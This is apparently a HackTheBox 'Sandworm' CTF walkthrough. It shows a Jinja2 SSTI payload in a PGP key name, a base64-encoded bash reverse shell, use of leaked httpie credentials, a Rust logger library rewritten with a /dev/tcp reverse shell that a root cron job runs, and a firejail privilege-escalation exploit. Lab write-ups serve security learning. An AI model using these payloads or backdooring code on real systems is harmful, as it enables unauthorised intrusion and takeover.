Sandworm is a medium difficulty Linux machine that kicks off the start of the second competitive season on HTB.
We will begin with a port scan:
β°β nmap -sC -sV 10.129.151.184
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-19 14:12 EDT
Nmap scan report for 10.129.151.184
Host is up (0.031s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18πΏ9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
We see that there is an HTTP
server running on port 80
with the hostname ssa.htb
, so let’s add that to our /etc/hosts
file and take a look at the site. Trying to access the site will redirect us to HTTPS
running on port 443
.
#your /etc/hosts file
10.129.151.184 ssa.htb
While we poke around the site, I want to enumerate some directories with FFuF
to see if the website’s built-in navigation leaves anything to be discovered.
β°β ffuf -c -u https://ssa.htb/FUZZ -w ~/../../usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -fl 124
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : https://ssa.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response lines: 124
________________________________________________
[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 126ms]
* FUZZ: contact
[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 132ms]
* FUZZ: about
[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 110ms]
* FUZZ: login
[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 64ms]
* FUZZ: view
[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 66ms]
* FUZZ: admin
[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 60ms]
* FUZZ: guide
[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 70ms]
* FUZZ: pgp
[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 62ms]
* FUZZ: logout
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 57ms]
* FUZZ: process
:: Progress: [220560/220560] :: Job [1/1] :: 362 req/sec :: Duration: [0:10:30] :: Errors: 0 ::
We got some interesting looking pages like /admin
and /login
. Trying default credentials didn’t seem to work but the /guide
page seems pretty interesting.
This page has a good couple of different functionalities, like allowing us to encrypt and decrypt messages and even verify the signature of a message.
We can also gather some other information by looking around the page:
- The name scheme is
user@ssa.htb
, indicated byatlas@ssa.htb
. - The page is using
Flask
, which may be useful to know if we run intoSSTi
or something similar.
Let’s experiment with the different functions available on the website by making our own key with GNU Privacy Guard.
First, let’s make our key with the --generate-key
flag:
β gpg --generate-key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Note: Use "gpg --full-generate-key" for a full featured key generation dialog.
GnuPG needs to construct a user ID to identify your key.
Real name: coolguy
Email address: coolguy@mail.com
You selected this USER-ID:
"coolguy <coolguy@mail.com>"
Change (N)ame, (E)mail, or (O)kay/(Q)uit? o
---SNIP---
Now let’s take a look at the keys we generated using the --export
flag:
β°β gpg --armor --export coolguy@mail.com
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGSQpZABDADMEjaDjoS3RbSJFDxUafIcuRHzNOPCdpovdwSVB+5MR0qRp+/A
---SNIP---
4MRiUEoXraFL+i0l4fIqlqg9/xYNsunLICP7pgJeweVp81LnW7dsd4xU80Fp7qLx
IKAxj39oAfXCWpIxvbd5QNOB
=S8H2
-----END PGP PUBLIC KEY BLOCK-----
Now, let’s create a message and encrypt it with our private key so that on the site, we can verify the signature matches the public key.
I’ll begin by just making a file called message
:
β°β ls
message
β°β cat message
This is a mesage for testing purposes :)
Then, we can sign the message with our private key by using the --clear-sign
flag.
β°β gpg --clear-sign message
β°β ls
message message.asc
β°β cat message.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
This is a mesage for testing purposes :)
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEo0Uk7HURtS0tS8/o/6R7dfVho1QFAmSQqMsACgkQ/6R7dfVh
---SNIP---
txIgC+Zf71Mb/e4XNRT10OA9B42Fi5Bk0Yg7PsKRS6E4YI9s6JuKfwXo4R6L8eKz
tWzWc5Mt
=7Z4Y
-----END PGP SIGNATURE-----
Now, we can upload this to the site and see if everything works as planned:
Seems like everything looks fine, but it does seem to give us back our own name as part of the response. Let’s do the same thing as before by generating a key and signing a message, but treating our name field as a payload. The payload I will be using is {{3*3}}
. Let’s see if this works:
We see that the payload was executed because instead of seeing 3*3
in the response, we see a 9
which is super exciting.
So, we know that this site is using Flask
which makes use of the Jinja2
template engine. And we know that the page is vulnerable to SSTi (Server-Side Template Injection), so we can look for some payloads to use.
After some digging around on GitHub, we can find this page that shows us some different payloads for Jinja2 Remote Code Execution.
The one I decided to use is here:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
So I added a bash
reverse shell command to see if we could get it to work:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/10.10.14.162/1337 0>&1 | bash" ').read() }}
But, when trying to create a key with this name, we will get the following error:
Real name: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "/bin/bash -i >& /dev/tcp/10.10.14.162/1337 0>&1 | bash" ').read() }}
Invalid character in name
The characters '<' and '>' may not appear in name
So, let’s try and base64 encode the payload and decode it before running it with bash
like this:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c " echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE2Mi8xMzM3IDA+JjEK | base64 -d| bash" ').read() }}
This way we are actually able to generate the key and give it a try. Following the same steps as before when trying to verify the signature, we should get a reverse shell on our listener:
β°β nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.162] from ssa.htb [10.129.151.184] 58006
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
atlas@sandworm:/var/www/html/SSA$
Nice, we got a shell but we haven’t gotten that user flag just yet. We need to look around and see what else there is to find.
We can’t seem to run that many different programs, and looking at the /bin
directory verifies some of our suspicions.
atlas@sandworm:/bin$ ls
base64
basename
bash
cat
dash
flask
gpg
gpg-agent
groups
id
lesspipe
ls
python3
python3.10
sh
Very strange, when looking at the groups on the system we also only see one called atlas
. This seems to indicate that we have been sandboxed so let’s see if we can dig ourselves a way out.
Looking in the /home/atlas.config
directory, we find more concrete evidence that our sandbox assumptions are correct when we see the /firejail
directory:
atlas@sandworm:~/.config$ ls -la
total 12
drwxrwxr-x 4 atlas atlas 4096 Jan 15 07:48 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
dr-------- 2 nobody nogroup 40 Jun 19 18:10 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 07:48 httpie
You can read more about Firejail
here but to summarize, it is a SUID program that has few dependencies and can sandbox nearly any kind of process.
We can’t read the contents of the /firejail
directory, but when we look at /httpie
, we will find something more useful in the admin.json
file:
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "q----------------2",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
Sweet, we got credentials for a user called silentobserver
which we can verify is on the system by looking at the /etc/passwd
file:
# in the /etc/passwd file
silentobserverβ1001:1001::/home/silentobserver:/bin/bash
atlasβ1000:1000::/home/atlas:/bin/bash
Let’s log in as silentobserver
using SSH:
β°β ssh silentobserver@ssa.htb
silentobserver@ssa.htb's password:
silentobserver@sandworm:~$ ls
user.txt
Now it’s time to escalate our privileges. To start, we can’t run sudo
on this host so let’s try uploading pspy
to the host to enumerate any recurring processes.
silentobserver@sandworm:~$ ./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
---SNIP---
2023/06/19 20:26:01 CMD: UID=0 PID=225025 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/19 20:26:01 CMD: UID=0 PID=225028 | /bin/sudo -u atlas /usr/bin/cargo run --offline
2023/06/19 20:26:01 CMD: UID=0 PID=225029 | sleep 10
2023/06/19 20:26:01 CMD: UID=1000 PID=225030 | /usr/bin/cargo run --offline
2023/06/19 20:26:02 CMD: UID=1000 PID=225031 | rustc -vV
2023/06/19 20:26:02 CMD: UID=1000 PID=225032 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed
2023/06/19 20:26:02 CMD: UID=1000 PID=225034 | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg
2023/06/19 20:26:02 CMD: UID=1000 PID=225036 | rustc -vV
2023/06/19 20:26:11 CMD: UID=0 PID=225040 | /bin/bash /root/Cleanup/clean_c.sh
2023/06/19 20:26:11 CMD: UID=0 PID=225041 | /bin/rm -r /opt/crates
2023/06/19 20:26:11 CMD: UID=0 PID=225042 | /bin/cp -rp /root/Cleanup/crates /opt/
We see that the root user is running a process that runs and compiles a program called tipnet
after switching to the atlas
user.
You’ll notice that this program is executed offline using another program called cargo
. Cargo is a package manager for the Rust programming language.
Let’s take a look at the source code for that TipNet
program:
silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry {
timestamp: String,
target: String,
source: String,
data: String,
}
fn main() {
println!("
,,
MMP\"\"MM\"\"YMM db `7MN. `7MF' mm
P' MM `7 MMN. M MM
MM `7MM `7MMpdMAo. M YMb M .gP\"Ya mmMMmm
MM MM MM `Wb M `MN. M ,M' Yb MM
MM MM MM M8 M `MM.M 8M\"\"\"\"\"\" MM
MM MM MM ,AP M YMM YM. , MM
.JMML. .JMML. MMbmmd'.JML. YM `Mbmmd' `Mbmo
MM
.JMML.
");
---SNIP---
Instead of showing the entire source code here I will just summarize a few of the key functions:
- Main Function: In the
main
function, the program first prints an ASCII art representation. It then calls theget_mode
function to determine the mode of operation. Depending on the mode selected, it connects to a MySQL database, interacts with the user to gather keywords and justifications for a search, logs the actions, and then performs a database search. get_mode:
This function interacts with the user to get the mode of operation. It provides a menu and waits for the user’s input. It then returns the mode as a string.- Command Execution: There’s a section in the main function where the program executes the
whoami
command to get the current username. - Logging: The
logger::log
function (from thelogger
crate) is used throughout the program to log various events. For instance, it logs attempts to query the system without justification and the pulling of fresh submissions into the database.
With such little information about the logger
function, we might want to find it. If we do a bit of looking around in nearby directories, you can find it in the /opt/crates/logger/src
directory:
silentobserver@sandworm:/opt/crates/logger/src$ ls
lib.rs
silentobserver@sandworm:/opt/crates/logger/src$ cat lib.rs
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
To summarize greatly, this code will append a log entry to a log file named access.log
. Which by itself isn’t super useful to us, but there is something special about this directory:
silentobserver@sandworm:/opt/crates/logger/src$ ls -la
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 17:12 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 17:08 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 17:12 lib.rs
We can write to this directory and the lib.rs
file, which means that we can edit this script and get our own code executed when that scheduled task builds and runs the tipnet
program.
But won’t that just give us a shell as atlas
again?
Well, yeah but this time we won’t be stuck in a sandbox. More importantly, that atlas
user is able to manipulate the firejail
program which might be a good way for us to escalate our privileges.
silentobserver@sandworm:/usr/local/bin$ ls -la firejail
-rwsr-x--- 1 root jailer 1777952 Nov 29 2022 firejail
#our groups as silentobserver
silentobserver@sandworm:/usr/local/bin$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
#the groups atlas would be in outside the sandbox
silentobserver@sandworm:/usr/local/bin$ id atlas
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
Let’s get started by writing some code in rust that we can use to replace the lib.rs
file contents to give us a reverse shell.
I first make rev.rs
on my host machine, then later send it to the /tmp
directory on the target machine.
Below is the rev.rs
code:
// Import the required libraries
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::process::Command;
// Define the main function that will be run
pub fn log(user: &str, query: &str, justification: &str) {
// This is the command that will create a reverse shell when executed.
// Replace YOUR_IP and YOUR_PORT with the IP address and port number you want the reverse shell to connect to.
let command = "bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1";
// Here, we use the Command::new() function to create a new command that we will run.
// We use "bash" as the command, and "-c" and command as the arguments. The "-c" flag tells bash to read commands from the following string.
let output = Command::new("bash")
.arg("-c")
.arg(command)
.output()
.expect("Failed to execute command");
// This part checks the output of the command we just ran.
// If the command was successful, it prints the standard output and error output.
// If the command was not successful, it prints the error output.
if output.status.success() {
let stdout = String::from_utf8_lossy(&output.stdout);
let stderr = String::from_utf8_lossy(&output.stderr);
println!("Standard Output: {}", stdout);
println!("Error Output: {}", stderr);
} else {
let stderr = String::from_utf8_lossy(&output.stderr);
eprintln!("Error: {}", stderr);
}
// This is the original logging code.
// It gets the current time, formats it, and creates a log message.
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
// This part opens the log file in append mode, or creates it if it doesn't exist.
// If it fails to open or create the file, it prints an error message and returns.
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
// This part tries to write the log message to the file.
// If it fails, it prints an error message.
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
Once you’ve written this up, then you need to send it over to the victim machine and copy it to the /opt/crates/logger/src/lib.rs
file. Then, you’ll build the project with cargo build
to save those changes.
#downloading the file to the target from our IP
silentobserver@sandworm:/tmp$ wget http://10.10.14.162/rev.rs
--2023-06-19 22:25:05-- http://10.10.14.162/rev.rs
Connecting to 10.10.14.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2461 (2.4K) [application/rls-services+xml]
Saving to: βrev.rsβ
rev.rs 100%[======================>] 2.40K --.-KB/s in 0s
2023-06-19 22:25:05 (137 MB/s) - βrev.rsβ saved [2461/2461]
#moving to the correct directory
silentobserver@sandworm:/tmp$ cd ../opt/crates/logger/
silentobserver@sandworm:/opt/crates/logger$ ls
Cargo.lock Cargo.toml src target
#copy the contents from rev.rs to lib.rs
silentobserver@sandworm:/opt/crates/logger$ cp ~/../../tmp/rev.rs src/lib.rs
# build the project
silentobserver@sandworm:/opt/crates/logger$ cargo build
Compiling autocfg v1.1.0
Compiling libc v0.2.142
Compiling num-traits v0.2.15
Compiling num-integer v0.1.45
Compiling time v0.1.45
Compiling iana-time-zone v0.1.56
Compiling chrono v0.4.24
Compiling logger v0.1.0 (/opt/crates/logger)
Finished dev [unoptimized + debuginfo] target(s) in 6.78s
Then, after waiting a little while, you’ll get a connection once your code is executed:
β°β nc -lvp 7777
listening on [any] 7777 ...
connect to [10.10.14.162] from ssa.htb [10.129.151.184] 33426
bash: cannot set terminal process group (228438): Inappropriate ioctl for device
bash: no job control in this shell
atlas@sandworm:/opt/tipnet$ id
id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$
We see that we can now interact with the firejail
program because we are logged in as atlas
outside of the sandbox. Now, let’s see if we can use firejail
to escalate our privileges:
atlas@sandworm:/opt/tipnet$ firejail --version
firejail version 0.9.68
If you search up this version, you’ll find out that this is indeed a vulnerable version of firejail
and we should be able to escalate our privileges. Take a look at this post on the NVD.
- I will be using an exploit for this CVE that you can find here.
Once uploaded to the machine, we can make it executable and run it:
atlas@sandworm:~$ wget http://10.10.14.162/firejoin.py
--2023-06-19 22:59:59-- http://10.10.14.162/firejoin.py
Connecting to 10.10.14.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7955 (7.8K) [text/x-python]
Saving to: βfirejoin.pyβ
0K ....... 100% 241M=0s
2023-06-19 22:59:59 (241 MB/s) - βfirejoin.pyβ saved [7955/7955]
atlas@sandworm:~$ ls
firejoin.py
atlas@sandworm:~$ chmod +x firejoin.py
atlas@sandworm:~$ python3 firejoin.py
python3 firejoin.py
You can now run 'firejail --join=233549' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
Then, in another reverse shell as atlas
, you can run the following commands to gain access to the root
account:
atlas@sandworm:/opt/tipnet$ firejail --join=233549
Warning: cleaning all supplementary groups
changing root to /proc/233549/root
Child process initialized in 11.82 ms
su -
whoami
root